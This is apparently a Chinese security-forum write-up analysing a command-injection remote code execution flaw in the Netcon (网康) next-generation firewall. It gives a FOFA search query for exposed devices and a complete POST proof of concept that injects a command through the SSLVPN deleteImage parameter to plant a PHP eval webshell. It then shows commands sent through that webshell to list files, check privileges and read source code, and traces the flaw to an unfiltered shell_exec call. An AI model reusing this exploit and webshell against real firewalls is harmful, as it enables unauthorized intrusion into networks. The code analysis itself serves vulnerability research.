漏洞描述

网康下一代防火墙(NGFW)是网康科技推出的一款可全面应对网络威胁的高性能应用层防火墙。凭借超强的应用识别能力,下一代防火墙可深入洞察网络流量中的用户、应用和内容,借助全新的高性能单路径异构并行处理引擎,在互联网出口、数据中心边界、应用服务前端等场景提供高效的应用层一体化安全防护,帮助用户安全地开展业务并降低安全成本。

这个洞是今年hvv期间爆出来的,危害很高,因此甲方baba要求我做一下分析的工作,好家伙,开局一个漏洞名称,报告内容全靠编,安排。

在网上找一条POC,开始怼,我尝试用该POC写入一句话连接蚁剑,但不知道是不是有段时间没用我的剑生锈了,死活连不上去,所幸写入一句话能执行命令,证明了漏洞真实存在以及POC有效,我只能在burp上纯命令的形式去审计跟踪代码(后来才反应过来为啥不反弹shell嘞)

fofa : app="网康科技-下一代防火墙"

漏洞利用

发送下面的POC即可在目标的/var/www/html/目录下创建名为test.php的文件,完事以后蚁剑直接去连即可(其余骚操作,大佬们安排起来)。

POST /directdata/direct/router HTTP/1.1
Host: X.X.X.X

{
    "action": "SSLVPN_Resource",
    "method": "deleteImage",
    "data":[{
      "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
    }],
    "type": "rpc",
    "tid": 17
}

解释一下上面的POC,主要是如下部分:

"data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]

单看POC长这样我们大致就能猜出这是一个命令注入导致的RCE了。

漏洞分析

这个系统因为大部分站点的建构都是linux➕php➕Apache,是我最擅长的,因此直接上burp开始代码审计(主要是蚁剑死活连不上去,我只能苦逼的一遍遍的手敲命令)

前期信息搜集

首先看当前的路径以及目录下的文件:

POST /test.php HTTP/1.1

a=system('pwd');

返回:

HTTP/1.1 200 OK

/var/www/html

之后还有用ls、id、whoami等命令,就不一一列举,下面仅列出执行结果:

ls执行结果:

13bnKkNct.php
CNVD20210413.txt
P385Egd9Pe.php
Reset_p2p_im.php
RgQtlhQQS.php
SqjHiRunF.php
applications
backup
certs
config
css
d18a2709431135f41eab9828d90c4bb6.html
download
dr4xVfDGs.php
e130U453zx.php
favicon.ico
flag
help
images
index.php
js
language
libs
m5KnfOOE42.php
o9isu852j.txt
p
release
scripts
sslvpnindex
successgoto
test.php
timetask
tmp
ukey
yanbuguohengyang.txt

id执行结果:

uid=48(apache) gid=48(apache) groups=48(apache)

whoami执行结果:

apache

OK,总结一句话,权限不高,但审计够了,继续....

漏洞入口文件搜索

接下来看看web根目录下哪个最有可能是controller文件夹或代码逻辑处理模块文件夹,其中applications文件夹很可疑,进去看一下:

POST /test.php HTTP/1.1

a=system('cd applications;ls');

服务器返回:

Models
acc
common
dashboard
directdata
help
log
monitor
network
policy
report
sslvpn
statistics
syscustom
system
user
usercenter

可以看到上面的目录中包含了POC路径中的directdata文件夹,很可疑,跟下去:

POST /test.php HTTP/1.1

a=system('cd applications/directdata;ls');

服务器返回:

controllers

很好,看到controllers这个文件夹,基本就稳了。

继续跟:

POST /test.php HTTP/1.1

a=system('cd applications/directdata/controllers;ls');

服务器返回:

DirectController.php

直接读这个文件:

POST /test.php HTTP/1.1

a=system('cat applications/directdata/controllers/DirectController.php');

文件内容如下:

<?php
require_once BASE_PATH.'/applications/Models/Ext/Direct.php';
class Directdata_DirectController extends Zend_Controller_Action {

    function routerAction() {
        header("Content-Type: application/json");
    $this->_helper->viewRenderer->setNoRender();

        $this->getResponse()->setBody(json_encode(
             Ext_Direct::run($this->getRequest())
        ));
    }

}

结合POC中的/directdata/direct/router ,大致能够猜测出这套web系统的路由,directdata代表目录,direct代表文件名,应该是利用字符串拼接的形式实现的路径动态生成(没细看其他代码),

看代码:

$this->getResponse()->setBody(json_encode(
             Ext_Direct::run($this->getRequest())

调用了Ext_Direct::run函数去处理用户输入,搜索Ext_Direct类:

POST /test.php HTTP/1.1

a=system('find . -name "*.php"|xargs grep "class Ext_Direct"');

返回结果:

HTTP/1.1 200 OK

./applications/Models/Ext/Direct/RPCResult.php:class Ext_Direct_RPCResult {
./applications/Models/Ext/Direct/Controller.php:abstract class Ext_Direct_Controller extends Zend_Controller_Action {
./applications/Models/Ext/Direct/EventResult.php:class Ext_Direct_EventResult {
./applications/Models/Ext/Direct/ExceptionResult.php:class Ext_Direct_ExceptionResult {
./applications/Models/Ext/Direct/Request.php:class Ext_Direct_Request {
./applications/Models/Ext/Direct.php:class Ext_Direct {
./applications/Models/Ext/DirectException.php:class Ext_DirectException extends Exception {

排除一下就知道应该是:

./applications/Models/Ext/Direct.php:class Ext_Direct {

跟进该文件:

POST /test.php HTTP/1.1

a=system('cat applications/Models/Ext/Direct.php');

返回:

<?php

class Ext_Direct {
    const REMOTING = 'remoting';
    const URL = '/directdata/direct/router';
    const enableBuffer  = 10;

    public static function describe($classes) {
        if (!is_array($classes)) {
            $classes = array($classes);
        }

        $ret = array();
        foreach ($classes as $class) {
            if (!class_exists($class))
                throw new Exception('class not found ' . $class);

            $reflection = new ReflectionClass($class);
            $methods = $reflection->getMethods();
            $methodData = array();
            foreach ($methods as $m)
                if ($m->isPublic() && !$m->isStatic())
                    $methodData[] = array(
                        'name' => $m->getName(), 
                        'len' => $m->getNumberOfParameters()
                    );
            $ret[] = array(
                'timeout' => $reflection->hasConstant('timeout')?$reflection->getConstant('timeout') : 1800000, // half an hour
                'url' => self::URL,
                'type' => self::REMOTING,
                'enableBuffer' => $reflection->hasConstant('enableBuffer')?$reflection->getConstant('enableBuffer') : self::enableBuffer,
                'actions' => array($class => $methodData)
            );
        }
        return $ret;
    }

    public static function run($request) {
        $extRequest = Ext_Direct_Request::factory($request);
        if (!$extRequest)
            throw new Exception('illegal parameters');
        if (!is_array($extRequest))
            $extRequest = array($extRequest);

        $ret = array();
        $daos = array();
        foreach ($extRequest as $r) {
            $c = $r->getAction();
            if (!$c)
                throw new Exception('class not found');
            if (!isset($daos[$c]))
                $daos[$c] = new $c();
            $dao = $daos[$c];
        //  $argtest = $r->getArguments();
        //  $testInfo =  $r->getMethod().'->'.$argtest[0]->type;
        //  $startTime = micsecond();
//          Ns_debug_log($dao,'x5.log',false);
            if (!method_exists($dao, $r->getMethod()))
                throw new Exception('method not found');
            try {
                if ($request->getParam('extDirectException'))
                    throw new Ext_DirectException($request->extDirectException);
                $ret[] = new Ext_Direct_RPCResult(
                    $r->getTID(),
                    $r->getAction(),
                    $r->getMethod(),
                    call_user_func_array(
                        array($dao, $r->getMethod()), $r->getArguments()
                    )
                );
            } catch (Ext_DirectException $e) {
                $ret[] = new Ext_Direct_ExceptionResult(
                    $r->getTID(),
                    $r->getAction(),
                    $r->getMethod(),
                    $e->getMessage()
                );
            } catch (Exception $e) {
                $ret[] = new Ext_Direct_ExceptionResult(
                    $r->getTID(),
                    $r->getAction(),
                    $r->getMethod(),
                    $e->getMessage()
                );
            }
        //  Ns_debug_log((micsecond()-$startTime).date('Y-m-d H:i:s').','.$c.','.$testInfo.','.getenv('REMOTE_ADDR'),'fast.log',false);
        }
        return $ret;
    }
}

排除掉多余的干扰因素,直接找run方法:

<?php
....
....

public static function run($request) {
  // 解析用户输入
        $extRequest = Ext_Direct_Request::factory($request);
        if (!$extRequest)
            throw new Exception('illegal parameters');
        if (!is_array($extRequest))
            $extRequest = array($extRequest);

        $ret = array();
        $daos = array();
        foreach ($extRequest as $r) {
            $c = $r->getAction();
            if (!$c)
                throw new Exception('class not found');
            if (!isset($daos[$c]))
                $daos[$c] = new $c();
            $dao = $daos[$c];
        //  $argtest = $r->getArguments();
        //  $testInfo =  $r->getMethod().'->'.$argtest[0]->type;
        //  $startTime = micsecond();
//          Ns_debug_log($dao,'x5.log',false);
      // 简单检查以下接下来要用的变量是否存在
            if (!method_exists($dao, $r->getMethod()))
                throw new Exception('method not found');
            try {
                if ($request->getParam('extDirectException'))
                    throw new Ext_DirectException($request->extDirectException);
                $ret[] = new Ext_Direct_RPCResult(
                    $r->getTID(),
                    $r->getAction(),
                    $r->getMethod(),
          // call_user_func_array函数对用户可控函数及参数值进行直接运行
                    call_user_func_array(
                        array($dao, $r->getMethod()), $r->getArguments()
                    )
                );
            } 

....
....
?>

回顾一下POC:

{
    "action": "SSLVPN_Resource",
    "method": "deleteImage",
    "data":[{
      "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
    }],
    "type": "rpc",
    "tid": 17
}

结合之前对路由的分析,可以大致推断出action代表类名,method代表方法名,data则是方法是参数,接下来需要搜索SSLVPN_Resource类的deleteImage方法:

POST /test.php HTTP/1.1

a=system('find . -name "*.php"|xargs grep "class SSLVPN_Resource "');

返回:

HTTP/1.1 200 OK

./applications/Models/SSLVPN/Resource.php:class SSLVPN_Resource extends ConfigCommon_Abstract {

跟进去:

POST /test.php HTTP/1.1

a=system('cat applications/Models/SSLVPN/Resource.php');

返回内容过长,下面就截取关键的一小段代码,直接搜deleteImage方法:

<?php 
...
...

public function deleteImage($params){
        $basePath = '/var/www/html/';
        $imgPath = $this->imagePath;
        $params = $params->data;
        $cmd = "cd $imgPath \n /bin/rm -rf ";
        $existDefault=false;
        foreach ($params as $img){
            if($img=='default.png'){
                $existDefault=true;
            }else{
                $cmd.=$img.' ';
            }
        }
        Ns_debug_log($cmd,'x.log');
        shell_exec($cmd);

...
...
?>

可以看到,直接从参数$params中取出data部分,与$cmd参数拼接,然后直接带入了shell_exec($cmd);执行,期间没有做任何安全过滤,因此当用户输入中使用分号即可分隔命令完成命令注入从而远程命令执行。

分析完毕,报告拿给甲方baba看,甲方baba很满意,摸摸我的头,说晚饭加鸡腿。

点击收藏 | 1 关注 | 1
登录 后跟帖